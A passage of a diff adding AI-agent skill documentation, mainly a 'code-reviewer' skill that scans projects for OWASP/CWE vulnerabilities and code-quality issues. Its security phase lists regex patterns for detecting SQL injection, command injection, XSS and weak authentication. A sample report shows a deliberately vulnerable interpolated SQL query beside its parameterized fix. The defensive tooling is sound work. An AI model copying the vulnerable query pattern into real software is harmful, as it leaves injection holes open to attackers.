+  const hasFrontend = UI_PATTERNS.frontend.test(text)
+  
+  const score = [hasComponents, hasDesign, hasVisual, hasFrontend].filter(Boolean).length
+  
+  if (score >= 2) {
+    return {
+      type: 'ui',
+      hasReference: /参考|reference|based on|像|like|模仿|imitate/.test(text),
+      confidence: score >= 3 ? 'high' : 'medium'
+    }
+  }
+  return null
+}
+```
+
+## Complexity Assessment
+
+### Indicators
+
+```javascript
+const COMPLEXITY_INDICATORS = {
+  high: {
+    patterns: [
+      /\b(refactor|重构|restructure|重新组织)\b/i,
+      /\b(migrate|迁移|upgrade|升级|convert|转换)\b/i,
+      /\b(architect|架构|system|系统|infrastructure|基础设施)\b/i,
+      /\b(entire|整个|complete|完整|all\s+modules?|所有模块)\b/i,
+      /\b(security|安全|scale|扩展|performance\s+critical|性能关键)\b/i,
+      /\b(distributed|分布式|microservice|微服务|cluster|集群)\b/i
+    ],
+    weight: 2
+  },
+  
+  medium: {
+    patterns: [
+      /\b(integrate|集成|connect|连接|link|链接)\b/i,
+      /\b(api|database|数据库|service|服务|endpoint|接口)\b/i,
+      /\b(test|测试|validate|验证|coverage|覆盖)\b/i,
+      /\b(multiple\s+files?|多个文件|several\s+components?|几个组件)\b/i,
+      /\b(authentication|认证|authorization|授权)\b/i
+    ],
+    weight: 1
+  },
+  
+  low: {
+    patterns: [
+      /\b(add|添加|create|创建|simple|简单)\b/i,
+      /\b(update|更新|modify|修改|change|改变)\b/i,
+      /\b(single|单个|one|一个|small|小)\b/i,
+      /\b(comment|注释|log|日志|print|打印)\b/i
+    ],
+    weight: -1
+  }
+}
+
+function assessComplexity(text) {
+  let score = 0
+  
+  for (const [level, config] of Object.entries(COMPLEXITY_INDICATORS)) {
+    for (const pattern of config.patterns) {
+      if (pattern.test(text)) {
+        score += config.weight
+      }
+    }
+  }
+  
+  // File count indicator
+  const fileMatches = text.match(/\b\d+\s*(files?|文件)/i)
+  if (fileMatches) {
+    const count = parseInt(fileMatches[0])
+    if (count > 10) score += 2
+    else if (count > 5) score += 1
+  }
+  
+  // Module count indicator
+  const moduleMatches = text.match(/\b\d+\s*(modules?|模块)/i)
+  if (moduleMatches) {
+    const count = parseInt(moduleMatches[0])
+    if (count > 3) score += 2
+    else if (count > 1) score += 1
+  }
+  
+  if (score >= 4) return 'high'
+  if (score >= 2) return 'medium'
+  return 'low'
+}
+```
+
+## Workflow Selection Matrix
+
+| Intent | Complexity | Workflow | Commands |
+|--------|------------|----------|----------|
+| bugfix (hotfix) | * | bugfix | `lite-fix --hotfix` |
+| bugfix (standard) | * | bugfix | `lite-fix` |
+| issue | * | issue | `issue:plan → queue → execute` |
+| exploration | * | full | `brainstorm → plan → execute` |
+| ui (reference) | * | ui | `ui-design:imitate-auto → plan` |
+| ui (explore) | * | ui | `ui-design:explore-auto → plan` |
+| feature | high | coupled | `plan → verify → execute` |
+| feature | medium | rapid | `lite-plan → lite-execute` |
+| feature | low | rapid | `lite-plan → lite-execute` |
+
+## Confidence Levels
+
+| Level | Description | Action |
+|-------|-------------|--------|
+| **high** | Multiple strong indicators match | Direct dispatch |
+| **medium** | Some indicators match | Confirm with user |
+| **low** | Fallback classification | Always confirm |
+
+## Tool Preference Detection
+
+```javascript
+const TOOL_PREFERENCES = {
+  gemini: {
+    pattern: /用\s*gemini|gemini\s*(分析|理解|设计)|让\s*gemini/i,
+    capability: 'analysis'
+  },
+  qwen: {
+    pattern: /用\s*qwen|qwen\s*(分析|评估)|让\s*qwen/i,
+    capability: 'analysis'
+  },
+  codex: {
+    pattern: /用\s*codex|codex\s*(实现|重构|修复)|让\s*codex/i,
+    capability: 'implementation'
+  }
+}
+
+function detectToolPreference(text) {
+  for (const [tool, config] of Object.entries(TOOL_PREFERENCES)) {
+    if (config.pattern.test(text)) {
+      return { tool, capability: config.capability }
+    }
+  }
+  return null
+}
+```
+
+## Multi-Tool Collaboration Detection
+
+```javascript
+const COLLABORATION_PATTERNS = {
+  sequential: /先.*(分析|理解).*然后.*(实现|重构)|分析.*后.*实现/i,
+  parallel: /(同时|并行).*(分析|实现)|一边.*一边/i,
+  hybrid: /(分析|设计).*和.*(实现|测试).*分开/i
+}
+
+function detectCollaboration(text) {
+  if (COLLABORATION_PATTERNS.sequential.test(text)) {
+    return { mode: 'sequential', description: 'Analysis first, then implementation' }
+  }
+  if (COLLABORATION_PATTERNS.parallel.test(text)) {
+    return { mode: 'parallel', description: 'Concurrent analysis and implementation' }
+  }
+  if (COLLABORATION_PATTERNS.hybrid.test(text)) {
+    return { mode: 'hybrid', description: 'Mixed parallel and sequential' }
+  }
+  return null
+}
+```
+
+## Classification Pipeline
+
+```javascript
+function classify(userInput) {
+  const text = userInput.trim()
+  
+  // Step 1: Check explicit commands
+  if (/^\/(?:workflow|issue|memory|task):/.test(text)) {
+    return { type: 'explicit', command: text }
+  }
+  
+  // Step 2: Priority-based classification
+  const bugResult = detectBug(text)
+  if (bugResult) return bugResult
+  
+  const issueResult = detectIssueBatch(text)
+  if (issueResult) return issueResult
+  
+  const explorationResult = detectExploration(text)
+  if (explorationResult) return explorationResult
+  
+  const uiResult = detectUI(text)
+  if (uiResult) return uiResult
+  
+  // Step 3: Complexity-based fallback
+  const complexity = assessComplexity(text)
+  return {
+    type: 'feature',
+    complexity,
+    workflow: complexity === 'high' ? 'coupled' : 'rapid',
+    confidence: 'low'
+  }
+}
+```
+
+## Examples
+
+### Input → Classification
+
+| Input | Classification | Workflow |
+|-------|----------------|----------|
+| "用户登录失败，401错误" | bugfix/standard | lite-fix |
+| "紧急：支付网关挂了" | bugfix/hotfix | lite-fix --hotfix |
+| "批量处理这些 GitHub issues" | issue | issue:plan → queue |
+| "不确定要怎么设计缓存系统" | exploration | brainstorm → plan |
+| "添加一个深色模式切换按钮" | ui | ui-design → plan |
+| "重构整个认证模块" | feature/high | plan → verify |
+| "添加用户头像功能" | feature/low | lite-plan |

.claude/skills/code-reviewer/README.md

@@ -0,0 +1,340 @@
+# Code Reviewer Skill
+
+A comprehensive code review skill for identifying security vulnerabilities and best practices violations.
+
+## Overview
+
+The **code-reviewer** skill provides automated code review capabilities covering:
+- **Security Analysis**: OWASP Top 10, CWE Top 25, language-specific vulnerabilities
+- **Code Quality**: Naming conventions, complexity, duplication, dead code
+- **Performance**: N+1 queries, inefficient algorithms, memory leaks
+- **Maintainability**: Documentation, test coverage, dependency health
+
+## Quick Start
+
+### Basic Usage
+
+```bash
+# Review entire codebase
+/code-reviewer
+
+# Review specific directory
+/code-reviewer --scope src/auth
+
+# Focus on security only
+/code-reviewer --focus security
+
+# Focus on best practices only
+/code-reviewer --focus best-practices
+```
+
+### Advanced Options
+
+```bash
+# Review with custom severity threshold
+/code-reviewer --severity critical,high
+
+# Review specific file types
+/code-reviewer --languages typescript,python
+
+# Generate detailed report
+/code-reviewer --report-level detailed
+
+# Resume from previous session
+/code-reviewer --resume
+```
+
+## Features
+
+### Security Analysis
+
+✅ **OWASP Top 10 2021 Coverage**
+- Injection vulnerabilities (SQL, Command, XSS)
+- Authentication & authorization flaws
+- Sensitive data exposure
+- Security misconfiguration
+- And more...
+
+✅ **CWE Top 25 Coverage**
+- Cross-site scripting (CWE-79)
+- SQL injection (CWE-89)
+- Command injection (CWE-78)
+- Input validation (CWE-20)
+- And more...
+
+✅ **Language-Specific Checks**
+- JavaScript/TypeScript: prototype pollution, eval usage
+- Python: pickle vulnerabilities, command injection
+- Java: deserialization, XXE
+- Go: race conditions, memory leaks
+
+### Best Practices Review
+
+✅ **Code Quality**
+- Naming convention compliance
+- Cyclomatic complexity analysis
+- Code duplication detection
+- Dead code identification
+
+✅ **Performance**
+- N+1 query detection
+- Inefficient algorithm patterns
+- Memory leak detection
+- Resource cleanup verification
+
+✅ **Maintainability**
+- Documentation coverage
+- Test coverage analysis
+- Dependency health check
+- Error handling review
+
+## Output
+
+The skill generates comprehensive reports in `.code-review/` directory:
+
+```
+.code-review/
+├── inventory.json              # File inventory with metadata
+├── security-findings.json      # Security vulnerabilities
+├── best-practices-findings.json # Best practices violations
+├── summary.json                # Summary statistics
+├── REPORT.md                   # Comprehensive markdown report
+└── FIX-CHECKLIST.md           # Actionable fix checklist
+```
+
+### Report Contents
+
+**REPORT.md** includes:
+- Executive summary with risk assessment
+- Quality scores (Security, Code Quality, Performance, Maintainability)
+- Detailed findings organized by severity
+- Code examples with fix recommendations
+- Action plan prioritized by urgency
+- Compliance status (PCI DSS, HIPAA, GDPR, SOC 2)
+
+**FIX-CHECKLIST.md** provides:
+- Checklist format for tracking fixes
+- Organized by severity (Critical → Low)
+- Effort estimates for each issue
+- Priority assignments
+
+## Configuration
+
+Create `.code-reviewer.json` in project root:
+
+```json
+{
+  "scope": {
+    "include": ["src/**/*", "lib/**/*"],
+    "exclude": ["**/*.test.ts", "**/*.spec.ts", "**/node_modules/**"]
+  },
+  "security": {
+    "enabled": true,
+    "checks": ["owasp-top-10", "cwe-top-25"],
+    "severity_threshold": "medium"
+  },
+  "best_practices": {
+    "enabled": true,
+    "code_quality": true,
+    "performance": true,
+    "maintainability": true
+  },
+  "reporting": {
+    "format": "markdown",
+    "output_path": ".code-review/",
+    "include_snippets": true,
+    "include_fixes": true
+  }
+}
+```
+
+## Workflow
+
+### Phase 1: Code Discovery
+- Discover and categorize code files
+- Extract metadata (LOC, complexity, framework)
+- Prioritize files (Critical, High, Medium, Low)
+
+### Phase 2: Security Analysis
+- Scan for OWASP Top 10 vulnerabilities
+- Check CWE Top 25 weaknesses
+- Apply language-specific security patterns
+- Generate security findings
+
+### Phase 3: Best Practices Review
+- Analyze code quality issues
+- Detect performance problems
+- Assess maintainability concerns
+- Generate best practices findings
+
+### Phase 4: Report Generation
+- Consolidate all findings
+- Calculate quality scores
+- Generate comprehensive reports
+- Create actionable checklists
+
+## Integration
+
+### Pre-commit Hook
+
+Block commits with critical/high issues:
+
+```bash
+#!/bin/bash
+# .git/hooks/pre-commit
+
+staged_files=$(git diff --cached --name-only --diff-filter=ACMR)
+ccw run code-reviewer --scope "$staged_files" --severity critical,high
+
+if [ $? -ne 0 ]; then
+  echo "❌ Code review found critical/high issues. Commit aborted."
+  exit 1
+fi
+```
+
+### CI/CD Integration
+
+```yaml
+# .github/workflows/code-review.yml
+name: Code Review
+on: [pull_request]
+
+jobs:
+  review:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v3
+      - name: Run Code Review
+        run: |
+          ccw run code-reviewer --report-level detailed
+          ccw report upload .code-review/report.md
+```
+
+## Examples
+
+### Example 1: Security-Focused Review
+
+```bash
+# Review authentication module for security issues
+/code-reviewer --scope src/auth --focus security --severity critical,high
+```
+
+**Output**: Security findings with OWASP/CWE mappings and fix recommendations
+
+### Example 2: Performance Review
+
+```bash
+# Review API endpoints for performance issues
+/code-reviewer --scope src/api --focus best-practices --check performance
+```
+
+**Output**: N+1 queries, inefficient algorithms, memory leak detections
+
+### Example 3: Full Project Audit
+
+```bash
+# Comprehensive review of entire codebase
+/code-reviewer --report-level detailed --output .code-review/audit-2024-01.md
+```
+
+**Output**: Complete audit with all findings, scores, and action plan
+
+## Compliance Support
+
+The skill maps findings to compliance requirements:
+
+- **PCI DSS**: Requirement 6.5 (Common coding vulnerabilities)
+- **HIPAA**: Technical safeguards and access controls
+- **GDPR**: Article 32 (Security of processing)
+- **SOC 2**: Security controls and monitoring
+
+## Architecture
+
+### Execution Mode
+**Sequential** - Fixed phase order for systematic review:
+1. Code Discovery → 2. Security Analysis → 3. Best Practices → 4. Report Generation
+
+### Tools Used
+- `mcp__ace-tool__search_context` - Semantic code search
+- `mcp__ccw-tools__smart_search` - Pattern matching
+- `Read` - File content access
+- `Write` - Report generation
+
+## Quality Standards
+
+### Scoring System
+
+```
+Overall Score = (
+  Security Score × 0.4 +
+  Code Quality Score × 0.25 +
+  Performance Score × 0.2 +
+  Maintainability Score × 0.15
+)
+```
+
+### Score Ranges
+- **A (90-100)**: Excellent - Production ready
+- **B (80-89)**: Good - Minor improvements needed
+- **C (70-79)**: Acceptable - Some issues to address
+- **D (60-69)**: Poor - Significant improvements required
+- **F (0-59)**: Failing - Major issues, not production ready
+
+## Troubleshooting
+
+### Large Codebase
+
+If review takes too long:
+```bash
+# Review in batches
+/code-reviewer --scope src/module-1
+/code-reviewer --scope src/module-2 --resume
+
+# Or use parallel execution
+/code-reviewer --parallel 4
+```
+
+### False Positives
+
+Configure suppressions in `.code-reviewer.json`:
+```json
+{
+  "suppressions": {
+    "security": {
+      "sql-injection": {
+        "paths": ["src/legacy/**/*"],
+        "reason": "Legacy code, scheduled for refactor"
+      }
+    }
+  }
+}
+```
+
+## File Structure
+
+```
+.claude/skills/code-reviewer/
+├── SKILL.md                    # Main skill documentation
+├── README.md                   # This file
+├── phases/
+│   ├── 01-code-discovery.md
+│   ├── 02-security-analysis.md
+│   ├── 03-best-practices-review.md
+│   └── 04-report-generation.md
+├── specs/
+│   ├── security-requirements.md
+│   ├── best-practices-requirements.md
+│   └── quality-standards.md
+└── templates/
+    ├── security-finding.md
+    ├── best-practice-finding.md
+    └── report-template.md
+```
+
+## Version
+
+**v1.0.0** - Initial release
+
+## License
+
+MIT License

.claude/skills/code-reviewer/SKILL.md

@@ -0,0 +1,308 @@
+---
+name: code-reviewer
+description: Comprehensive code review skill for identifying security vulnerabilities and best practices violations. Triggers on "code review", "review code", "security audit", "代码审查".
+allowed-tools: Read, Glob, Grep, mcp__ace-tool__search_context, mcp__ccw-tools__smart_search
+---
+
+# Code Reviewer
+
+Comprehensive code review skill for identifying security vulnerabilities and best practices violations.
+
+## Architecture Overview
+
+```
+┌─────────────────────────────────────────────────────────────────┐
+│  Code Reviewer Workflow                                          │
+├─────────────────────────────────────────────────────────────────┤
+│                                                                  │
+│  Phase 1: Code Discovery     → 发现待审查的代码文件              │
+│           & Scoping              - 根据语言/框架识别文件          │
+│           ↓                      - 设置审查范围和优先级           │
+│                                                                  │
+│  Phase 2: Security           → 安全漏洞扫描                      │
+│           Analysis               - OWASP Top 10 检查             │
+│           ↓                      - 常见漏洞模式识别               │
+│                                  - 敏感数据泄露检查               │
+│                                                                  │
+│  Phase 3: Best Practices     → 最佳实践审查                      │
+│           Review                 - 代码质量检查                  │
+│           ↓                      - 性能优化建议                   │
+│                                  - 可维护性评估                  │
+│                                                                  │
+│  Phase 4: Report             → 生成审查报告                      │
+│           Generation             - 按严重程度分类问题             │
+│                                  - 提供修复建议和示例             │
+│                                  - 生成可追踪的修复清单           │
+│                                                                  │
+└─────────────────────────────────────────────────────────────────┘
+```
+
+## Features
+
+### Security Analysis
+
+- **OWASP Top 10 Coverage**
+  - Injection vulnerabilities (SQL, Command, LDAP)
+  - Authentication & authorization bypass
+  - Sensitive data exposure
+  - XML External Entities (XXE)
+  - Broken access control
+  - Security misconfiguration
+  - Cross-Site Scripting (XSS)
+  - Insecure deserialization
+  - Components with known vulnerabilities
+  - Insufficient logging & monitoring
+
+- **Language-Specific Checks**
+  - JavaScript/TypeScript: prototype pollution, eval usage
+  - Python: pickle vulnerabilities, command injection
+  - Java: deserialization, path traversal
+  - Go: race conditions, memory leaks
+
+### Best Practices Review
+
+- **Code Quality**
+  - Naming conventions
+  - Function complexity (cyclomatic complexity)
+  - Code duplication
+  - Dead code detection
+
+- **Performance**
+  - N+1 queries
+  - Inefficient algorithms
+  - Memory leaks
+  - Resource cleanup
+
+- **Maintainability**
+  - Documentation quality
+  - Test coverage
+  - Error handling patterns
+  - Dependency management
+
+## Usage
+
+### Basic Review
+
+```bash
+# Review entire codebase
+/code-reviewer
+
+# Review specific directory
+/code-reviewer --scope src/auth
+
+# Focus on security only
+/code-reviewer --focus security
+
+# Focus on best practices only
+/code-reviewer --focus best-practices
+```
+
+### Advanced Options
+
+```bash
+# Review with custom severity threshold
+/code-reviewer --severity critical,high
+
+# Review specific file types
+/code-reviewer --languages typescript,python
+
+# Generate detailed report with code snippets
+/code-reviewer --report-level detailed
+
+# Resume from previous session
+/code-reviewer --resume
+```
+
+## Configuration
+
+Create `.code-reviewer.json` in project root:
+
+```json
+{
+  "scope": {
+    "include": ["src/**/*", "lib/**/*"],
+    "exclude": ["**/*.test.ts", "**/*.spec.ts", "**/node_modules/**"]
+  },
+  "security": {
+    "enabled": true,
+    "checks": ["owasp-top-10", "cwe-top-25"],
+    "severity_threshold": "medium"
+  },
+  "best_practices": {
+    "enabled": true,
+    "code_quality": true,
+    "performance": true,
+    "maintainability": true
+  },
+  "reporting": {
+    "format": "markdown",
+    "output_path": ".code-review/",
+    "include_snippets": true,
+    "include_fixes": true
+  }
+}
+```
+
+## Output
+
+### Review Report Structure
+
+```markdown
+# Code Review Report
+
+## Executive Summary
+- Total Issues: 42
+- Critical: 3
+- High: 8
+- Medium: 15
+- Low: 16
+
+## Security Findings
+
+### [CRITICAL] SQL Injection in User Query
+**File**: src/auth/user-service.ts:145
+**Issue**: Unsanitized user input in SQL query
+**Fix**: Use parameterized queries
+
+Code Snippet:
+\`\`\`typescript
+// ❌ Vulnerable
+const query = `SELECT * FROM users WHERE username = '${username}'`;
+
+// ✅ Fixed
+const query = 'SELECT * FROM users WHERE username = ?';
+db.execute(query, [username]);
+\`\`\`
+
+## Best Practices Findings
+
+### [MEDIUM] High Cyclomatic Complexity
+**File**: src/utils/validator.ts:78
+**Issue**: Function has complexity score of 15 (threshold: 10)
+**Fix**: Break into smaller functions
+
+...
+```
+
+## Phase Documentation
+
+| Phase | Description | Output |
+|-------|-------------|--------|
+| [01-code-discovery.md](phases/01-code-discovery.md) | Discover and categorize code files | File inventory with metadata |
+| [02-security-analysis.md](phases/02-security-analysis.md) | Analyze security vulnerabilities | Security findings list |
+| [03-best-practices-review.md](phases/03-best-practices-review.md) | Review code quality and practices | Best practices findings |
+| [04-report-generation.md](phases/04-report-generation.md) | Generate comprehensive report | Markdown report |
+
+## Specifications
+
+- [specs/security-requirements.md](specs/security-requirements.md) - Security check specifications
+- [specs/best-practices-requirements.md](specs/best-practices-requirements.md) - Best practices standards
+- [specs/quality-standards.md](specs/quality-standards.md) - Overall quality standards
+- [specs/severity-classification.md](specs/severity-classification.md) - Issue severity criteria
+
+## Templates
+
+- [templates/security-finding.md](templates/security-finding.md) - Security finding template
+- [templates/best-practice-finding.md](templates/best-practice-finding.md) - Best practice finding template
+- [templates/report-template.md](templates/report-template.md) - Final report template
+
+## Integration with Development Workflow
+
+### Pre-commit Hook
+
+```bash
+#!/bin/bash
+# .git/hooks/pre-commit
+
+# Run code review on staged files
+staged_files=$(git diff --cached --name-only --diff-filter=ACMR)
+ccw run code-reviewer --scope "$staged_files" --severity critical,high
+
+if [ $? -ne 0 ]; then
+  echo "❌ Code review found critical/high issues. Commit aborted."
+  exit 1
+fi
+```
+
+### CI/CD Integration
+
+```yaml
+# .github/workflows/code-review.yml
+name: Code Review
+on: [pull_request]
+
+jobs:
+  review:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v3
+      - name: Run Code Review
+        run: |
+          ccw run code-reviewer --report-level detailed
+          ccw report upload .code-review/report.md
+```
+
+## Examples
+
+### Example 1: Security-Focused Review
+
+```bash
+# Review authentication module for security issues
+/code-reviewer --scope src/auth --focus security --severity critical,high
+```
+
+### Example 2: Performance Review
+
+```bash
+# Review API endpoints for performance issues
+/code-reviewer --scope src/api --focus best-practices --check performance
+```
+
+### Example 3: Full Project Audit
+
+```bash
+# Comprehensive review of entire codebase
+/code-reviewer --report-level detailed --output .code-review/audit-2024-01.md
+```
+
+## Troubleshooting
+
+### Large Codebase
+
+If review takes too long:
+```bash
+# Review in batches
+/code-reviewer --scope src/module-1
+/code-reviewer --scope src/module-2 --resume
+
+# Or use parallel execution
+/code-reviewer --parallel 4
+```
+
+### False Positives
+
+Configure suppressions in `.code-reviewer.json`:
+```json
+{
+  "suppressions": {
+    "security": {
+      "sql-injection": {
+        "paths": ["src/legacy/**/*"],
+        "reason": "Legacy code, scheduled for refactor"
+      }
+    }
+  }
+}
+```
+
+## Roadmap
+
+- [ ] AI-powered vulnerability detection
+- [ ] Integration with popular security scanners (Snyk, SonarQube)
+- [ ] Automated fix suggestions with diffs
+- [ ] IDE plugins for real-time feedback
+- [ ] Custom rule engine for organization-specific policies
+
+## License
+
+MIT License - See LICENSE file for details

.claude/skills/code-reviewer/phases/01-code-discovery.md

@@ -0,0 +1,246 @@
+# Phase 1: Code Discovery & Scoping
+
+## Objective
+
+Discover and categorize all code files within the specified scope, preparing them for security analysis and best practices review.
+
+## Input
+
+- **User Arguments**:
+  - `--scope`: Directory or file patterns (default: entire project)
+  - `--languages`: Specific languages to review (e.g., typescript, python, java)
+  - `--exclude`: Patterns to exclude (e.g., test files, node_modules)
+
+- **Configuration**: `.code-reviewer.json` (if exists)
+
+## Process
+
+### Step 1: Load Configuration
+
+```javascript
+// Check for project-level configuration
+const configPath = path.join(projectRoot, '.code-reviewer.json');
+const config = fileExists(configPath)
+  ? JSON.parse(readFile(configPath))
+  : getDefaultConfig();
+
+// Merge user arguments with config
+const scope = args.scope || config.scope.include;
+const exclude = args.exclude || config.scope.exclude;
+const languages = args.languages || config.languages || 'auto';
+```
+
+### Step 2: Discover Files
+
+Use MCP tools for efficient file discovery:
+
+```javascript
+// Use smart_search for file discovery
+const files = await mcp__ccw_tools__smart_search({
+  action: "find_files",
+  pattern: scope,
+  includeHidden: false
+});
+
+// Apply exclusion patterns
+const filteredFiles = files.filter(file => {
+  return !exclude.some(pattern => minimatch(file, pattern));
+});
+```
+
+### Step 3: Categorize Files
+
+Categorize files by:
+- **Language/Framework**: TypeScript, Python, Java, Go, etc.
+- **File Type**: Source, config, test, build
+- **Priority**: Critical (auth, payment), High (API), Medium (utils), Low (docs)
+
+```javascript
+const inventory = {
+  critical: {
+    auth: ['src/auth/login.ts', 'src/auth/jwt.ts'],
+    payment: ['src/payment/stripe.ts'],
+  },
+  high: {
+    api: ['src/api/users.ts', 'src/api/orders.ts'],
+    database: ['src/db/queries.ts'],
+  },
+  medium: {
+    utils: ['src/utils/validator.ts'],
+    services: ['src/services/*.ts'],
+  },
+  low: {
+    types: ['src/types/*.ts'],
+  }
+};
+```
+
+### Step 4: Extract Metadata
+
+For each file, extract:
+- **Lines of Code (LOC)**
+- **Complexity Indicators**: Function count, class count
+- **Dependencies**: Import statements
+- **Framework Detection**: Express, React, Django, etc.
+
+```javascript
+const metadata = files.map(file => ({
+  path: file,
+  language: detectLanguage(file),
+  loc: countLines(file),
+  complexity: estimateComplexity(file),
+  framework: detectFramework(file),
+  priority: categorizePriority(file)
+}));
+```
+
+## Output
+
+### File Inventory
+
+Save to `.code-review/inventory.json`:
+
+```json
+{
+  "scan_date": "2024-01-15T10:30:00Z",
+  "total_files": 247,
+  "by_language": {
+    "typescript": 185,
+    "python": 42,
+    "javascript": 15,
+    "go": 5
+  },
+  "by_priority": {
+    "critical": 12,
+    "high": 45,
+    "medium": 120,
+    "low": 70
+  },
+  "files": [
+    {
+      "path": "src/auth/login.ts",
+      "language": "typescript",
+      "loc": 245,
+      "functions": 8,
+      "classes": 2,
+      "priority": "critical",
+      "framework": "express",
+      "dependencies": ["bcrypt", "jsonwebtoken", "express"]
+    }
+  ]
+}
+```
+
+### Summary Report
+
+```markdown
+## Code Discovery Summary
+
+**Scope**: src/**/*
+**Total Files**: 247
+**Languages**: TypeScript (75%), Python (17%), JavaScript (6%), Go (2%)
+
+### Priority Distribution
+- Critical: 12 files (authentication, payment processing)
+- High: 45 files (API endpoints, database queries)
+- Medium: 120 files (utilities, services)
+- Low: 70 files (types, configs)
+
+### Key Areas Identified
+1. **Authentication Module** (src/auth/) - 12 files, 2,400 LOC
+2. **Payment Processing** (src/payment/) - 5 files, 1,200 LOC
+3. **API Layer** (src/api/) - 35 files, 5,600 LOC
+4. **Database Layer** (src/db/) - 8 files, 1,800 LOC
+
+**Next Phase**: Security Analysis on Critical + High priority files
+```
+
+## State Management
+
+Save phase state for potential resume:
+
+```json
+{
+  "phase": "01-code-discovery",
+  "status": "completed",
+  "timestamp": "2024-01-15T10:35:00Z",
+  "output": {
+    "inventory_path": ".code-review/inventory.json",
+    "total_files": 247,
+    "critical_files": 12,
+    "high_files": 45
+  }
+}
+```
+
+## Agent Instructions
+
+```markdown
+You are in Phase 1 of the Code Review workflow. Your task is to discover and categorize code files.
+
+**Instructions**:
+1. Use mcp__ccw_tools__smart_search with action="find_files" to discover files
+2. Apply exclusion patterns from config or arguments
+3. Categorize files by language, type, and priority
+4. Extract basic metadata (LOC, complexity indicators)
+5. Save inventory to .code-review/inventory.json
+6. Generate summary report
+7. Proceed to Phase 2 with critical + high priority files
+
+**Tools Available**:
+- mcp__ccw_tools__smart_search (file discovery)
+- Read (read configuration and sample files)
+- Write (save inventory and reports)
+
+**Output Requirements**:
+- inventory.json with complete file list and metadata
+- Summary markdown report
+- State file for phase tracking
+```
+
+## Error Handling
+
+### No Files Found
+
+```javascript
+if (filteredFiles.length === 0) {
+  throw new Error(`No files found matching scope: ${scope}
+
+  Suggestions:
+  - Check if scope pattern is correct
+  - Verify exclude patterns are not too broad
+  - Ensure project has code files in specified scope
+  `);
+}
+```
+
+### Large Codebase
+
+```javascript
+if (filteredFiles.length > 1000) {
+  console.warn(`⚠️ Large codebase detected (${filteredFiles.length} files)`);
+  console.log(`Consider using --scope to review in batches`);
+
+  // Offer to focus on critical/high priority only
+  const answer = await askUser("Review critical/high priority files only?");
+  if (answer === 'yes') {
+    filteredFiles = filteredFiles.filter(f =>
+      f.priority === 'critical' || f.priority === 'high'
+    );
+  }
+}
+```
+
+## Validation
+
+Before proceeding to Phase 2:
+
+- ✅ Inventory file created
+- ✅ At least one file categorized as critical or high priority
+- ✅ Metadata extracted for all files
+- ✅ Summary report generated
+- ✅ State saved for resume capability
+
+## Next Phase
+
+**Phase 2: Security Analysis** - Analyze critical and high priority files for security vulnerabilities using OWASP Top 10 and CWE Top 25 checks.

.claude/skills/code-reviewer/phases/02-security-analysis.md

@@ -0,0 +1,442 @@
+# Phase 2: Security Analysis
+
+## Objective
+
+Analyze code files for security vulnerabilities based on OWASP Top 10, CWE Top 25, and language-specific security patterns.
+
+## Input
+
+- **File Inventory**: From Phase 1 (`.code-review/inventory.json`)
+- **Priority Focus**: Critical and High priority files (unless `--scope all`)
+- **User Arguments**:
+  - `--focus security`: Security-only mode
+  - `--severity critical,high,medium,low`: Minimum severity to report
+  - `--checks`: Specific security checks to run (e.g., sql-injection, xss)
+
+## Process
+
+### Step 1: Load Security Rules
+
+```javascript
+// Load security check definitions
+const securityRules = {
+  owasp_top_10: [
+    'injection',
+    'broken_authentication',
+    'sensitive_data_exposure',
+    'xxe',
+    'broken_access_control',
+    'security_misconfiguration',
+    'xss',
+    'insecure_deserialization',
+    'vulnerable_components',
+    'insufficient_logging'
+  ],
+  cwe_top_25: [
+    'cwe-79',  // XSS
+    'cwe-89',  // SQL Injection
+    'cwe-20',  // Improper Input Validation
+    'cwe-78',  // OS Command Injection
+    'cwe-190', // Integer Overflow
+    // ... more CWE checks
+  ]
+};
+
+// Load language-specific rules
+const languageRules = {
+  typescript: require('./rules/typescript-security.json'),
+  python: require('./rules/python-security.json'),
+  java: require('./rules/java-security.json'),
+  go: require('./rules/go-security.json'),
+};
+```
+
+### Step 2: Analyze Files for Vulnerabilities
+
+For each file in the inventory, perform security analysis:
+
+```javascript
+const findings = [];
+
+for (const file of inventory.files) {
+  if (file.priority !== 'critical' && file.priority !== 'high') continue;
+
+  // Read file content
+  const content = await Read({ file_path: file.path });
+
+  // Run security checks
+  const fileFindings = await runSecurityChecks(content, file, {
+    rules: securityRules,
+    languageRules: languageRules[file.language],
+    severity: args.severity || 'medium'
+  });
+
+  findings.push(...fileFindings);
+}
+```
+
+### Step 3: Security Check Patterns
+
+#### A. Injection Vulnerabilities
+
+**SQL Injection**:
+```javascript
+// Pattern: String concatenation in SQL queries
+const sqlInjectionPatterns = [
+  /\$\{.*\}.*SELECT/,                    // Template literal with SELECT
+  /"SELECT.*\+\s*\w+/,                   // String concatenation
+  /execute\([`'"].*\$\{.*\}.*[`'"]\)/,   // Parameterized query bypass
+  /query\(.*\+.*\)/,                     // Query concatenation
+];
+
+// Check code
+for (const pattern of sqlInjectionPatterns) {
+  const matches = content.matchAll(new RegExp(pattern, 'g'));
+  for (const match of matches) {
+    findings.push({
+      type: 'sql-injection',
+      severity: 'critical',
+      line: getLineNumber(content, match.index),
+      code: match[0],
+      file: file.path,
+      message: 'Potential SQL injection vulnerability',
+      recommendation: 'Use parameterized queries or ORM methods',
+      cwe: 'CWE-89',
+      owasp: 'A03:2021 - Injection'
+    });
+  }
+}
+```
+
+**Command Injection**:
+```javascript
+// Pattern: Unsanitized input in exec/spawn
+const commandInjectionPatterns = [
+  /exec\(.*\$\{.*\}/,                    // exec with template literal
+  /spawn\(.*,\s*\[.*\$\{.*\}.*\]\)/,    // spawn with unsanitized args
+  /execSync\(.*\+.*\)/,                  // execSync with concatenation
+];
+```
+
+**XSS (Cross-Site Scripting)**:
+```javascript
+// Pattern: Unsanitized user input in DOM/HTML
+const xssPatterns = [
+  /innerHTML\s*=.*\$\{.*\}/,             // innerHTML with template literal
+  /dangerouslySetInnerHTML/,             // React dangerous prop
+  /document\.write\(.*\)/,               // document.write
+  /<\w+.*\$\{.*\}.*>/,                   // JSX with unsanitized data
+];
+```
+
+#### B. Authentication & Authorization
+
+```javascript
+// Pattern: Weak authentication
+const authPatterns = [
+  /password\s*===?\s*['"]/,              // Hardcoded password comparison
+  /jwt\.sign\(.*,\s*['"][^'"]{1,16}['"]\)/, // Weak JWT secret
+  /bcrypt\.hash\(.*,\s*[1-9]\s*\)/,      // Low bcrypt rounds
+  /md5\(.*password.*\)/,                 // MD5 for passwords
